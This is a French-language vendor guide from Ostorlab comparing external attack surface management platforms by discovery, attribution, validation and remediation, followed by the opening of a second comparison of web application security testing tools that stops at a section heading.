Les serveurs et équipements réseau exposés sur Internet
Les certificats TLS et l'infrastructure DNS
Les services de stockage
Les instances SaaS
Les systèmes de développement et de préproduction
Les actifs exploités par des filiales ou des sociétés acquises
L'infrastructure abandonnée et le shadow IT

Un système EASM efficace part d'un petit ensemble d'identifiants organisationnels connus et s'étend vers l'extérieur en analysant des relations telles que les enregistrements de domaines, les certificats, les enregistrements DNS, l'infrastructure d'hébergement, l'image de marque, les applications liées et d'autres éléments d'attribution.

La découverte seule ne suffit pas. Une plateforme utile doit aussi distinguer les actifs qui appartiennent à l'organisation des infrastructures sans rapport, identifier les expositions significatives, conserver les preuves qui sous-tendent ses conclusions et accompagner la remédiation.

En quoi l'EASM se distingue des catégories de sécurité voisines

Catégorie	Perspective principale	Objectif principal
EASM	De l'extérieur vers l'intérieur	Découvrir et surveiller les actifs exposés sur Internet qu'un attaquant pourrait atteindre.
CAASM	De l'intérieur vers l'extérieur, fondée sur les intégrations	Agréger et normaliser les enregistrements d'actifs issus des systèmes de sécurité et informatiques internes.
Gestion des vulnérabilités	Actifs connus	Identifier et prioriser les vulnérabilités des systèmes déjà inclus dans un inventaire géré.
CSPM et CNAPP	Contexte des comptes cloud	Identifier les risques de configuration, d'identité, de workload et de déploiement du cloud grâce à un accès au fournisseur cloud.
BAS et validation de sécurité automatisée	Validation des contrôles	Simuler ou exécuter des techniques d'attaque pour déterminer si les contrôles de sécurité fonctionnent.
Protection contre les risques numériques	Marque et renseignement sur les menaces	Surveiller l'usurpation d'identité, les identifiants divulgués, les domaines frauduleux, les réseaux sociaux et l'activité sur le dark web.
Test d'intrusion	Investigation autorisée et délimitée	Investiguer les vulnérabilités et les chemins d'attaque par des tests menés par des analystes ou de façon agentique.

Ces catégories se recoupent de plus en plus. Les plateformes de gestion de l'exposition peuvent combiner l'EASM avec des données de vulnérabilités internes, la posture cloud, la télémétrie des endpoints, le renseignement sur les menaces et l'analyse des chemins d'attaque.

Les acheteurs doivent donc évaluer le modèle d'exploitation réel plutôt que de se fier uniquement à la catégorie du produit.

Ce que les entreprises doivent évaluer dans une plateforme EASM (et les pièges courants)

1. Indépendance vis-à-vis des données d'amorçage et qualité de l'attribution

Ce qu'il faut évaluer : la plateforme doit identifier les actifs absents des CMDB, des comptes cloud et des systèmes d'endpoints en partant de données d'amorçage minimales (par exemple, uniquement le nom d'une organisation ou son domaine principal). Les équipes de sécurité ont besoin de chemins d'attribution clairs qui expliquent pourquoi un actif a été rattaché.
Piège courant : mesurer le volume brut d'actifs plutôt que la précision de l'attribution. Les inventaires gonflés contiennent souvent des hôtes partagés sans rapport, des domaines expirés ou des adresses IP parquées, ce qui crée de la fatigue des alertes plutôt qu'une visibilité exploitable.

2. Surveillance continue des changements et fatigue des alertes

Ce qu'il faut évaluer : l'infrastructure externe évolue rapidement : des environnements temporaires apparaissent, des enregistrements DNS deviennent orphelins et des certificats expirent. L'EASM doit conserver des historiques et alerter sur les dérives significatives.
Piège courant : traiter des changements techniques courants comme des incidents hautement prioritaires. Les seuils d'alerte doivent être calibrés selon le contexte de risque plutôt que de se déclencher à chaque mise à jour anodine d'un enregistrement DNS.

3. Validation active et empreintes déduites

Ce qu'il faut évaluer : distinguez l'observation passive (correspondance de bannières) de la validation active. Les plateformes qui proposent des tests actifs doivent fournir des garde-fous clairs, une limitation de débit, des paramètres de test transparents et une preuve reproductible de l'exploitabilité.
Piège courant : considérer des empreintes logicielles comme des vulnérabilités confirmées. Une bannière indiquant un paquet obsolète ne prouve pas qu'il soit exploitable depuis l'extérieur ; à l'inverse, l'absence de bannière ne garantit pas la sécurité.

4. Attribution de la propriété et vérification de la remédiation

Ce qu'il faut évaluer : une exposition ne peut pas être résolue sans responsable identifié. Les plateformes efficaces acheminent les résultats avec leurs preuves contextuelles directement vers les systèmes de ticketing (Jira, ServiceNow) et relancent automatiquement un scan après la remédiation pour confirmer la résolution.
Piège courant : séparer la découverte de la remédiation. Injecter des milliers de découvertes non vérifiées directement dans la file de remédiation transforme l'EASM en un backlog non maîtrisé, au lieu d'une réduction de l'exposition en boucle fermée.

5. Interopérabilité avec l'écosystème

Ce qu'il faut évaluer : vérifiez si les intégrations avec les plateformes SIEM, SOAR, CMDB et de gestion de l'exposition sont natives, bidirectionnelles et préservent les métadonnées contextuelles des actifs sans imposer un enfermement complet dans la plateforme.
Piège courant : supposer qu'une seule plateforme remplace tous les contrôles connexes. L'EASM fournit une découverte de l'extérieur vers l'intérieur ; elle complète, sans les remplacer, la gestion interne des vulnérabilités, le CSPM et les tests d'intrusion approfondis.

Matrice des capacités d'external attack surface management

Les termes suivants sont employés avec prudence :

Supported : la capacité est décrite dans la documentation publique officielle actuelle.
Integrated : la capacité est fournie par la plateforme élargie de l'éditeur ou par un produit connexe.
Limited : la prise en charge documentée publiquement comporte une contrainte significative ou un périmètre plus étroit.
Not publicly documented : nous n'avons pas trouvé suffisamment d'informations officielles actuelles pour confirmer la capacité. Cela ne prouve pas qu'elle est absente.

Capacité	Ostorlab (connecté à la plateforme)	Microsoft Defender EASM	Cortex Xpanse	CrowdStrike Falcon	CyCognito (documenté par l'éditeur)	Censys	Tenable One
Découverte continue des actifs exposés sur Internet	Supported	Supported	Supported	Supported	Supported	Supported	Supported
Domaines, hôtes, IP et services	Supported	Supported	Supported	Supported	Supported	Supported	Supported
Relations entre actifs et preuves d'attribution	Supported	Supported	Supported	Supported	Supported	Supported	Supported
Surveillance des changements et contexte historique	Supported	Supported	Supported	Supported	Supported	Supported	Supported
Découverte organisationnelle agentique	Supported	Not publicly documented	Limited	Not publicly documented	Not publicly documented	Not publicly documented	Not publicly documented
Scan de sécurité actif des actifs découverts	Connected platform scans	Limited	Not publicly documented	Not publicly documented	Supported (Vendor-stated)	Limited	Integrated (Tenable WAS/VM)
Validation de l'exploitabilité ou de l'exposition	Connected platform scans	Limited	Not publicly documented	Not publicly documented	Supported (Vendor-stated)	Limited	Integrated (Tenable One)
Priorisation guidée par le renseignement sur les menaces	Supported	Integrated (Exposure)	Supported	Supported (ExPRT.AI)	Supported	Integrated	Integrated (ExposureIQ)
Workflows de ticketing et de remédiation	Supported	Integrated (Azure)	Integrated (Active Response add-on)	Integrated (Falcon Platform)	Supported	Integrated	Integrated (Tenable One)
Tests applicatifs DAST / MAST dédiés	Connected platform scans	Not publicly documented	Not publicly documented	Integrated (Separate Module)	Limited	Not publicly documented	Integrated (Separate Module)
Accès API ou export de données	Supported	Supported	Supported	Supported	Supported	Supported	Supported

Note sur les classifications du tableau : Supported indique une capacité native du produit EASM de base. Connected platform scans désigne des tests intégrés lancés via la plateforme élargie de l'éditeur plutôt que des fonctions autonomes de la découverte elle-même. Supported (Vendor-stated) reflète des capacités documentées par l'éditeur (comme les affirmations de CyCognito sur ses tests autonomes) qui doivent être vérifiées par le client lors du POV. Integrated (Module) indique une capacité nécessitant un produit connexe de la plateforme, une licence complémentaire ou un agent/scanner distinct. Limited désigne un périmètre restreint ou une détection fondée uniquement sur l'inférence. Not publicly documented indique que la capacité n'est pas confirmée dans la documentation officielle actuelle du produit (ce qui ne prouve pas son absence).

La documentation publique et les offres commerciales évoluent. Les acheteurs doivent exiger de chaque éditeur qu'il démontre les mêmes données d'amorçage, le même périmètre organisationnel, les mêmes décisions d'attribution, les mêmes cas d'exposition et le même workflow de remédiation.

Que révèle cette comparaison ?

Quatre distinctions comptent le plus pour comparer les produits EASM en 2026.

Les modèles de découverte ne sont pas équivalents

Certaines plateformes construisent leurs inventaires à partir d'une observation continue de l'ensemble d'Internet. D'autres partent de données d'amorçage fournies par le client et s'étendent via des graphes de relations. Plusieurs combinent les deux approches.

La bonne métrique n'est pas le nombre brut d'actifs renvoyés. C'est le nombre d'actifs correctement attribués et pertinents pour la sécurité que le client ne gérait pas déjà.

L'EASM converge avec la gestion de l'exposition

Microsoft, CrowdStrike, Palo Alto Networks et Tenable relient l'EASM à des portefeuilles de sécurité plus larges. Cela peut apporter un contexte interne précieux, mais les acheteurs doivent identifier quelles fonctions relèvent du produit EASM et lesquelles exigent des licences ou des composants déployés supplémentaires.

La profondeur de validation varie considérablement

Certains produits mettent l'accent sur la découverte et le renseignement sur l'exposition externe. D'autres testent activement les actifs découverts ou les acheminent vers des produits de gestion des vulnérabilités, de sécurité applicative ou de validation.

Cette distinction détermine directement si la plateforme signale une faiblesse présumée ou produit une preuve qu'une équipe de sécurité peut reproduire.

La remédiation est un problème de modèle opérationnel

Trouver un système exposé n'est que le début. Les programmes EASM performants établissent la propriété, acheminent les preuves vers l'équipe responsable, suivent l'exposition jusqu'à sa remédiation et vérifient qu'elle n'existe plus.

Une plateforme qui produit des découvertes précises mais ne peut pas prendre en charge ce workflow risque simplement de créer une file d'attente de plus, non maîtrisée.

Évaluations détaillées des plateformes EASM

Ostorlab

Orientation : découverte organisationnelle agentique combinée à des scans de sécurité actifs et à des workflows de remédiation pour les actifs web, mobiles, API et réseau.

Ostorlab combine la découverte de la surface d'attaque externe avec des tests de sécurité actifs et des workflows de remédiation pour plusieurs types d'actifs applicatifs et d'infrastructure.

Le workflow documenté AI Agent Attack Surface Discovery permet à un utilisateur de décrire une organisation dans un prompt en langage naturel. Le système génère des domaines, sous-domaines, ressources cloud, applications mobiles, surfaces SaaS et organisations liées candidats, puis les présente pour confirmation ou exclusion.

Cette étape de confirmation humaine est importante, car les relations organisationnelles ne prouvent pas toujours la propriété technique. Les acquisitions, les marques régionales, les produits abandonnés, les infrastructures partagées et les prestataires de services peuvent créer une ambiguïté légitime.

Les actifs confirmés entrent dans un inventaire qui prend en charge la propriété, le filtrage, les relations en graphe, la surveillance et le scan de sécurité. La documentation d'Ostorlab décrit aussi le scan des actifs directement depuis l'inventaire et prend en charge les applications web, les plages réseau, les API, les applications mobiles, les dépôts de code source et les évaluations multi-actifs.

Le Ostorlab 2025 Year in Review décrit un lien entre la découverte agentique de la surface d'attaque et le Threat Center. Les vulnérabilités nouvellement exploitées et les empreintes mises à jour peuvent être rapprochées de l'environnement du client, ce qui aide les équipes à identifier les actifs touchés par l'activité d'exploitation en cours.

Ostorlab relie aussi les résultats aux intégrations de ticketing, aux règles d'automatisation, aux contrôles de propriété, au suivi de la remédiation et au rescan. Cela permet un workflow continu, de la découverte à l'investigation puis à la vérification, plutôt que de tenir un inventaire externe séparé.

Ce qu'il faut vérifier : les acheteurs doivent tester la découverte sur une structure organisationnelle complexe comprenant des filiales, des acquisitions, des infrastructures partagées et des domaines abandonnés. Ils doivent aussi confirmer quels profils de scan sont inclus, comment les tests actifs sont autorisés et comment l'utilisation des actifs, des scans et de l'IA influe sur le prix.

Microsoft Defender External Attack Surface Management

Orientation : cartographie continue de l'infrastructure exposée sur Internet, avec une intégration native à Microsoft Security Exposure Management et à l'écosystème Azure.

Microsoft Defender External Attack Surface Management découvre et cartographie en continu l'infrastructure exposée sur Internet d'une organisation, selon une perspective externe.

L'inventaire peut comprendre des domaines, hôtes, pages, adresses IP, blocs d'IP, numéros de système autonome, contacts et certificats SSL. Microsoft enregistre des métadonnées contextuelles pour chaque actif et expose les relations de découverte qui aident les analystes à comprendre pourquoi un actif a été associé à l'organisation.

Defender EASM organise les actifs en états d'inventaire qui permettent aux équipes de distinguer les actifs approuvés, les découvertes candidates, les dépendances et l'infrastructure exclue. Il fournit aussi des tableaux de bord et des Attack Surface Insights pour identifier les conditions visibles de l'extérieur.

Microsoft documente des connexions de données pour exporter les enregistrements d'actifs et les analyses de la surface d'attaque. Defender EASM peut aussi apporter un contexte de l'extérieur vers l'intérieur aux workflows de Microsoft Security Exposure Management et de Defender for Cloud.

La plateforme est particulièrement pertinente pour les organisations qui opèrent déjà largement dans Azure et dans l'écosystème de sécurité de Microsoft. Toutefois, la découverte EASM et la validation complète des vulnérabilités restent des fonctions distinctes ; les acheteurs doivent donc établir quelles expositions sont observées de l'extérieur et lesquelles sont testées activement par d'autres capacités Microsoft.

Ce qu'il faut vérifier : confirmez les prérequis liés aux ressources Azure et à la facturation, le calcul des actifs facturables, la rétention, les options d'export des données, l'intégration avec Microsoft Security Exposure Management et le workflow de validation des vulnérabilités présumées.

Palo Alto Networks Cortex Xpanse

Orientation : découverte continue à l'échelle d'Internet, attribution assistée par machine, détection des expositions et playbooks de remédiation automatisés via Active Response.

Palo Alto Networks Cortex Xpanse est une plateforme active de gestion de la surface d'attaque, construite autour de la découverte continue à l'échelle d'Internet, de l'attribution assistée par machine, de la détection des expositions et de la réponse.

Palo Alto Networks indique que Xpanse scanne en continu l'Internet public pour identifier les systèmes connectés et les services exposés. Des modèles d'apprentissage automatique supervisé rattachent les actifs aux organisations et aident à prioriser la remédiation.

Xpanse utilise des règles de surface d'attaque pour identifier des situations telles que des services exposés ou des logiciels vulnérables. La plateforme crée des alertes lorsque l'infrastructure découverte correspond aux critères définis par une règle.

Le produit prend aussi en charge des cas d'usage liés au shadow cloud, à l'évaluation lors de fusions-acquisitions, à l'exposition des tiers, aux points d'entrée de ransomware et à l'investigation rapide des vulnérabilités récemment divulguées.

Cortex Xpanse documente des playbooks de réponse intégrés via Active Response. Toutefois, Active Response est décrit comme un module complémentaire ; les acheteurs ne doivent donc pas supposer que la remédiation automatisée est incluse dans chaque package Xpanse.

Ce qu'il faut vérifier : confirmez les modules Xpanse achetés, le droit d'usage d'Active Response, la cadence de scan d'Internet, le workflow de revue de l'attribution, les playbooks de remédiation pris en charge et l'intégration avec les produits Palo Alto Networks existants de l'organisation.

CrowdStrike Falcon Exposure Management

Orientation : découverte des actifs de l'extérieur vers l'intérieur combinée au renseignement sur les adversaires, à la priorisation ExPRT.AI et au contexte unifié de la plateforme Falcon.

CrowdStrike EASM est proposé au sein du portefeuille élargi Falcon Exposure Management.

Le produit cartographie en continu l'infrastructure exposée sur Internet, identifie les actifs externes connus et inconnus, suit les changements d'inventaire et applique le renseignement sur les adversaires et les vulnérabilités pour prioriser l'exposition.

CrowdStrike documente l'intégration entre l'EASM, le renseignement sur les menaces, l'hygiène informatique, la gestion des vulnérabilités et d'autres capacités de la plateforme Falcon. Sa notation ExPRT.AI sert à prioriser l'exposition aux vulnérabilités à partir du contexte de menaces et d'adversaires de CrowdStrike.

Ce modèle de plateforme élargi peut être utile aux organisations qui cherchent à corréler la découverte de l'extérieur vers l'intérieur avec la télémétrie des endpoints et des vulnérabilités. Les acheteurs doivent néanmoins séparer les capacités qui reposent sur l'observation externe d'Internet de celles qui dépendent d'agents Falcon, de modules supplémentaires ou de sources de données internes.

Ce qu'il faut vérifier : déterminez quelles fonctions EASM, de gestion des vulnérabilités, de chemins d'attaque, d'endpoints et de renseignement sur les menaces sont incluses dans le package proposé. Confirmez si chaque capacité fonctionne sans agent, avec l'aide d'un agent ou en dépendance d'autres modules Falcon.

CyCognito

Orientation : découverte autonome des actifs de l'extérieur vers l'intérieur, cartographie du contexte métier et tests continus et actifs d'exploitabilité.

CyCognito Attack Surface Management se concentre sur la découverte des actifs externes, leur rattachement à un contexte métier, leur test à la recherche de faiblesses de sécurité et la priorisation des risques confirmés.

CyCognito documente un modèle de découverte orienté attaquant, conçu pour identifier les actifs sans exiger d'inventaire initial complet. La plateforme construit un graphe des actifs externes, attribue les actifs à l'organisation et classe leur finalité métier.

La validation active est un élément central du positionnement de CyCognito. L'entreprise indique que la plateforme teste les actifs externes dans plusieurs catégories de sécurité et priorise les expositions qui sont découvrables de l'extérieur, attrayantes pour les attaquants et validées comme exploitables.

Ce modèle peut réduire la dépendance au risque déduit, mais il rend la transparence des tests et la sûreté opérationnelle particulièrement importantes. Les clients doivent comprendre précisément quels tests sont exécutés, comment les frontières d'authentification sont gérées et quelles preuves étayent une conclusion d'exploitabilité.

Ce qu'il faut vérifier : examinez le modèle d'autorisation et de sûreté des tests actifs, les types d'actifs pris en charge, la couverture des applications authentifiées, les contrôles de revue de l'attribution, la qualité des preuves et l'intégration avec les systèmes de ticketing et de gestion des vulnérabilités.

Censys Attack Surface Management

Orientation : scan à l'échelle d'Internet sur l'ensemble des 65 535 ports, renseignement de haute fidélité sur les services et cartographie historique de l'exposition.

Censys Attack Surface Management repose sur l'infrastructure de cartographie d'Internet et d'observation des services de Censys.

Censys documente un scan couvrant les 65 535 ports pour identifier les hôtes, services, certificats et expositions exposés sur Internet qui pourraient échapper à une découverte reposant principalement sur les enregistrements DNS ou sur le scan des ports courants.

La plateforme part de données d'amorçage organisationnelles et étend la surface d'attaque lorsque les preuves de relation franchissent un seuil de confiance d'attribution. Les chemins de découverte permettent aux analystes d'examiner comment un actif candidat a été relié à un actif organisationnel connu.

Censys conserve aussi des données historiques d'Internet et s'intègre aux outils de sécurité afin que les équipes puissent investiguer et agir sur les expositions identifiées.

La force principale du produit est la visibilité sur Internet et le renseignement sur les actifs. Les acheteurs doivent néanmoins distinguer l'exposition observée, l'inférence logicielle, la validation à la demande et les tests complets de vulnérabilités ou de sécurité applicative.

Ce qu'il faut vérifier : confirmez la fréquence de scan pour les protocoles concernés, la couverture IPv6 et cloud, les seuils d'attribution, la rétention des données historiques, les capacités de validation active, les limites d'API et les intégrations de remédiation disponibles.

Tenable One Attack Surface Management

Orientation : cartographie des actifs de l'extérieur vers l'intérieur intégrée directement à la gestion des vulnérabilités, à la notation de l'exposition et aux workflows d'évaluation de Tenable.

Tenable One Attack Surface Management cartographie en continu les actifs exposés sur Internet et les relie aux informations de vulnérabilités et d'exposition de la plateforme Tenable One élargie.

Le produit identifie les domaines et les actifs Internet associés, surveille les changements et enrichit les systèmes découverts avec des métadonnées contextuelles. Tenable documente la possibilité d'acheminer les actifs externes non évalués vers des scans et de combiner les informations sur la surface d'attaque avec d'autres données d'exposition Tenable.

Cette intégration est pertinente pour les organisations qui utilisent déjà Tenable Vulnerability Management ou Tenable One. La découverte externe peut étendre le périmètre des programmes de gestion des vulnérabilités en identifiant des systèmes qui ne figuraient pas dans l'inventaire géré.

Les acheteurs doivent confirmer où se situe la frontière entre Tenable Attack Surface Management et les produits Tenable connexes. La découverte, l'évaluation des vulnérabilités, les tests d'applications web, le contexte cloud et la notation consolidée de l'exposition peuvent avoir des exigences techniques ou de licence distinctes.

Ce qu'il faut vérifier : confirmez quels composants de Tenable One sont requis, comment les actifs découverts sont licenciés, quels moteurs de scan les évaluent, comment les enregistrements externes sont dédupliqués par rapport aux actifs existants et comment l'état de la remédiation est vérifié.

Comment mener une preuve de valeur EASM crédible

Une preuve de valeur EASM doit tester le cycle opérationnel complet plutôt que de comparer des captures d'écran ou des nombres d'actifs fournis par les éditeurs.

Domaine d'évaluation	Procédure de vérification
Indépendance vis-à-vis des données d'amorçage	Fournissez uniquement un domaine principal et le nom de l'entreprise, puis notez quels actifs inconnus valides la plateforme découvre.
Qualité de l'attribution	Examinez un échantillon d'actifs confirmés, candidats, dépendants et exclus, et inspectez les preuves qui étayent chaque relation.
Découverte des filiales	Incluez une acquisition, une marque régionale ou une filiale partiellement indépendante dont l'historique de propriété est compliqué.
Découverte cloud	Testez si la plateforme trouve les hôtes temporaires, les services cloud, les points de terminaison de stockage et les environnements de développement absents de la CMDB.
Couverture des services	Comparez les découvertes sur les ports standard et non standard et examinez la fraîcheur des données de service observées.
Validation de l'exposition	Sélectionnez plusieurs expositions hautement prioritaires et déterminez si chacune est déduite, validée en toute sécurité, testée activement ou confirmée par un autre produit.
Surveillance des changements	Créez ou exposez un actif de test temporaire autorisé, modifiez sa configuration et mesurez la rapidité avec laquelle la plateforme détecte les deux événements.
Workflow de propriété	Affectez une exposition à l'équipe responsable et vérifiez que les preuves, le contexte de l'actif et les instructions de remédiation survivent au transfert.
Vérification des correctifs	Corrigez l'exposition de test et confirmez que la plateforme détecte le changement et ferme ou met à jour le résultat de façon appropriée.
API et export	Exportez les actifs, relations, résultats, propriétaires et statuts vers les systèmes opérationnels de l'organisation.

Une preuve de valeur crédible doit répondre à cinq questions :

Qu'a découvert la plateforme que l'organisation ne connaissait pas déjà ?
Avec quelle précision a-t-elle attribué ces actifs ?
Quelles expositions étaient réellement importantes ?
Quelles preuves ont démontré que les expositions étaient réelles ?
Le workflow a-t-il aidé l'équipe responsable à les corriger et à les vérifier ?

Foire aux questions

Quelles sont les meilleures plateformes d'External Attack Surface Management ?

Les plateformes EASM évaluées dans cette comparaison sont Ostorlab, Microsoft Defender EASM, Palo Alto Networks Cortex Xpanse, CrowdStrike Falcon Exposure Management, CyCognito, Censys Attack Surface Management et Tenable One Attack Surface Management. Elles diffèrent par leur méthodologie de découverte, l'attribution, la validation active, le contexte de menaces, la remédiation et l'intégration à l'écosystème.

Qu'est-ce que l'External Attack Surface Management ?

L'External Attack Surface Management consiste à découvrir, attribuer, évaluer et surveiller en continu les actifs exposés sur Internet d'une organisation, selon une perspective de l'extérieur vers l'intérieur. Il aide à identifier les infrastructures inconnues, le shadow IT, les services exposés, les faiblesses de configuration et d'autres risques observables de l'extérieur.

Quels actifs une plateforme EASM peut-elle découvrir ?

Une plateforme EASM peut découvrir des domaines, sous-domaines, adresses IP publiques, plages réseau, ASN, applications web, API, applications mobiles, certificats, infrastructure DNS, services cloud, points de terminaison de stockage et autres actifs accessibles depuis Internet associés à une organisation.

Comment l'EASM découvre-t-il des actifs inconnus ?

Les plateformes EASM partent d'identifiants organisationnels tels que des domaines, des noms d'entreprise, des plages d'IP ou des informations cloud, et s'étendent via des relations techniques et contextuelles. Ces relations peuvent inclure les enregistrements DNS, les certificats, les données d'enregistrement, l'infrastructure d'hébergement, les services liés, l'image de marque et l'activité observée sur Internet.

Quelle est la différence entre l'EASM et la gestion des vulnérabilités ?

L'EASM identifie les actifs exposés sur Internet depuis l'extérieur de l'organisation, y compris des systèmes qui peuvent ne pas figurer dans l'inventaire géré. La gestion des vulnérabilités évalue principalement des actifs connus, déjà enregistrés ou fournis comme cibles de scan.

Quelle est la différence entre l'EASM et le CAASM ?

L'EASM découvre les actifs par l'observation externe d'Internet, tandis que le CAASM agrège et met en corrélation les informations sur les actifs issues des systèmes internes de sécurité, de cloud, d'identité et de gestion informatique. Les deux approches peuvent se compléter en comparant la visibilité de l'extérieur vers l'intérieur avec les enregistrements internes.

L'EASM teste-t-il activement les vulnérabilités ?

Certaines plateformes EASM testent ou valident activement les expositions de sécurité, tandis que d'autres privilégient la découverte, le fingerprinting et le renseignement externe. Les acheteurs doivent déterminer si chaque résultat est déduit, observé passivement, validé en toute sécurité ou activement exploité.

L'EASM nécessite-t-il un agent ?

La découverte EASM de base est généralement sans agent, car elle observe les actifs depuis l'Internet public. Les capacités plus larges de gestion de l'exposition peuvent utiliser des agents ou des intégrations internes pour ajouter un contexte lié aux endpoints, au cloud, aux vulnérabilités ou au métier.

L'EASM peut-il trouver du shadow IT ?

Oui. Trouver les infrastructures accessibles de l'extérieur et absentes des inventaires approuvés est un cas d'usage principal de l'EASM. Cela peut inclure des domaines oubliés, des systèmes cloud temporaires, des environnements de développement, des infrastructures acquises et des services déployés en dehors des processus de gouvernance habituels.

À quelle fréquence faut-il surveiller la surface d'attaque externe ?

Une surface d'attaque externe doit être surveillée en continu, car les actifs et les configurations exposés sur Internet changent fréquemment. Les organisations doivent définir des seuils d'alerte fondés sur le risque afin que les expositions importantes retiennent l'attention sans générer de bruit opérationnel inutile.

Comment les organisations doivent-elles comparer les plateformes EASM ?

Les organisations doivent comparer les plateformes EASM en utilisant les mêmes données d'amorçage limitées, les mêmes échantillons d'attribution, les mêmes expositions de test, les mêmes filiales, les mêmes environnements cloud et le même workflow de remédiation. L'évaluation doit mesurer les découvertes inconnues valides, la précision de l'attribution, la qualité des preuves, la priorisation, la propriété et la vérification des correctifs.

L'EASM remplace-t-il les tests d'intrusion ?

Non. L'EASM découvre et surveille en continu une large exposition sur Internet, tandis que le test d'intrusion mène une investigation plus approfondie dans un périmètre autorisé. L'EASM peut identifier et prioriser les cibles qui justifient un test applicatif, une validation d'exploit ou un test d'intrusion ciblé.

Recommandation finale d'Ostorlab

La plateforme EASM la plus précieuse n'est pas nécessairement celle qui renvoie le plus d'actifs. C'est celle qui aide l'organisation à progresser de façon fiable à travers la découverte, l'attribution, l'évaluation de sécurité, la propriété, la remédiation et la vérification.

Ostorlab propose une approche différenciante en reliant ces étapes au sein d'une seule plateforme de sécurité applicative :

La découverte agentique peut traduire la description d'une organisation en domaines, sous-domaines, ressources cloud, applications mobiles, surfaces SaaS et entités liées candidats.
Les contrôles de confirmation humaine permettent aux analystes de confirmer ou d'exclure les actifs proposés avant leur entrée dans la surface d'attaque gérée.
Les tests de sécurité actifs relient les actifs découverts aux capacités de scan web, API, réseau, mobile, code source et multi-actifs.
Le contexte guidé par les menaces aide les équipes à identifier les actifs associés aux vulnérabilités nouvellement exploitées et aux empreintes technologiques mises à jour.
Les workflows de remédiation relient les preuves à la propriété des actifs, aux règles d'automatisation, au ticketing, à la surveillance et au rescan.

Pour les organisations qui évaluent l'EASM comme plus qu'un inventaire externe, la question décisive devrait être :

La plateforme peut-elle découvrir un actif inconnu, prouver pourquoi il appartient à l'organisation, établir ce qui est exposé et aider l'équipe responsable à vérifier que le risque a été supprimé ?

Les meilleurs outils de test de sécurité des applications web en 2026

2026-09-11T10:00:00+02:00

Les outils de test de sécurité des applications web évalués dans cette comparaison 2026 sont Ostorlab, PortSwigger Burp Suite DAST, Invicti, Rapid7 InsightAppSec, HCL AppScan, XBOW et OWASP ZAP.

Ces outils se distinguent surtout par la manière dont ils testent une application en cours d'exécution. Le test dynamique de sécurité des applications (DAST) traditionnel parcourt les applications de façon répétée et applique des contrôles de sécurité prédéfinis. Le test d'intrusion agentique s'appuie sur des agents autonomes qui observent le comportement de l'application, choisissent les actions suivantes, explorent les workflows et valident des vulnérabilités qui peuvent exiger plusieurs étapes enchaînées.

Réponse rapide : quel est le meilleur outil de test de sécurité des applications web ?

Le meilleur outil dépend de l'objectif du test :

Ostorlab convient aux organisations qui veulent réunir sur une même plateforme le scan web conventionnel et le test d'intrusion agentique, y compris pour des investigations couvrant applications web, API, code source, applications mobiles, actifs réseau et fichiers associés.
Burp Suite DAST convient aux organisations qui veulent un DAST d'entreprise centralisé, fondé sur Burp Scanner, avec des intégrations au développement et des options de déploiement auto-hébergé.
Invicti convient aux équipes qui privilégient un DAST automatisé et une validation par preuve pour les classes de vulnérabilités prises en charge.
Rapid7 InsightAppSec convient aux organisations qui utilisent la plateforme Rapid7 au sens large et qui ont besoin d'un DAST géré dans le cloud avec prise en charge de moteurs de scan privés.
HCL AppScan convient aux grandes entreprises qui recherchent du DAST au sein d'une famille de produits de sécurité applicative plus large.
XBOW convient aux organisations qui privilégient le test d'intrusion autonome des applications web, piloté par des agents.
OWASP ZAP convient aux équipes expérimentées qui veulent une boîte à outils open source de test de sécurité web, qu'elles gèrent elles-mêmes.

Parmi les documents publics examinés, Ostorlab se distingue en associant un scan répétable des applications web aux capacités Web Deep Agentic Scan et Multi-Asset Deep Agentic Scan. Les équipes peuvent ainsi lancer des tests automatisés à grande échelle et investiguer la logique applicative, les actifs connectés et les chemins d'attaque en plusieurs étapes au sein de la même plateforme.

Déclaration éditoriale

Ce guide est publié par Ostorlab. La comparaison repose sur la documentation officielle publiquement accessible et ne constitue pas un benchmark indépendant de la couverture des vulnérabilités, de la précision de détection, de la vitesse de scan ou des taux de faux positifs.

Méthodologie de recherche

Cette comparaison évalue chaque outil selon les critères suivants :

Modèle de test : DAST traditionnel, test d'intrusion agentique, ou combinaison des deux
Accessibilité de l'application : exploration (crawling), exécution de JavaScript, authentification et gestion des sessions
Couverture des API : prise en charge des spécifications, des endpoints découverts et de l'authentification des API
Preuves de validation : requêtes, réponses, payloads, traces d'exécution et impact démontré
Investigation des workflows : capacité à tester les autorisations, l'état de l'application et la logique en plusieurs étapes
Déploiement : cloud, scan privé, auto-hébergé ou géré par l'utilisateur
Intégration au développement : CI/CD, ticketing, API et workflows de remédiation
Nouveau test : prise en charge de la vérification des correctifs individuels et de la détection des vulnérabilités récurrentes
Contrôles de sécurité : restrictions de périmètre, URL protégées, contrôle du débit et journaux d'activité

Une capacité est qualifiée de « non documentée publiquement » lorsque les informations officielles actuelles n'étaient pas suffisantes pour la confirmer. Cela ne prouve pas qu'elle est absente.

Comparatif des outils de test de sécurité des applications web

Plateforme	Modèle opérationnel	Idéal pour	Ce que les acheteurs doivent vérifier
Ostorlab	DAST et test d'intrusion agentique	Équipes qui ont besoin de scans répétables, d'une investigation adaptative des workflows, d'une validation à l'exécution et de tests multi-actifs connectés	Couverture de l'authentification, périmètre des scans agentiques, consommation de crédits IA, limites de scan et contrôles des tests actifs
Burp Suite DAST	DAST d'entreprise	Scan centralisé des applications web et des API avec Burp Scanner	Couverture des workflows complexes, intégration des API, capacité de scan, déploiement, et frontière entre DAST et Burp Suite Professional
Invicti	DAST d'entreprise avec validation automatisée	Équipes qui privilégient l'exploration automatisée et les vulnérabilités étayées par une preuve	Classes de vulnérabilités qui reçoivent une preuve, profondeur de l'authentification, couverture des API et différences entre les niveaux de produit
Rapid7 InsightAppSec	DAST géré dans le cloud	Organisations qui utilisent les produits Rapid7 et qui ont besoin de moteurs de scan cloud ou privés	Fiabilité de l'authentification, couverture des frontends modernes, limites des API, moteurs privés et packaging
HCL AppScan	DAST au sein d'une suite AppSec	Grandes entreprises qui recherchent plusieurs méthodes de sécurité applicative au sein d'une même famille de produits	Différences entre les éditions d'AppScan, infrastructure de scan, prise en charge des API et licences
XBOW	Test d'intrusion agentique autonome	Équipes qui privilégient une investigation adaptative des applications web, menée par des agents	Cibles prises en charge, exigences d'authentification, couverture des évaluations, actions protégées et nouveaux tests
OWASP ZAP	Boîte à outils DAST open source	Équipes qui ont l'expertise pour déployer, configurer, étendre et exploiter leur propre système de test	Configuration de l'authentification, passage à l'échelle, maintenance des règles, reporting, triage et effort d'exploitation interne

Qu'est-ce que le test de sécurité des applications web ?

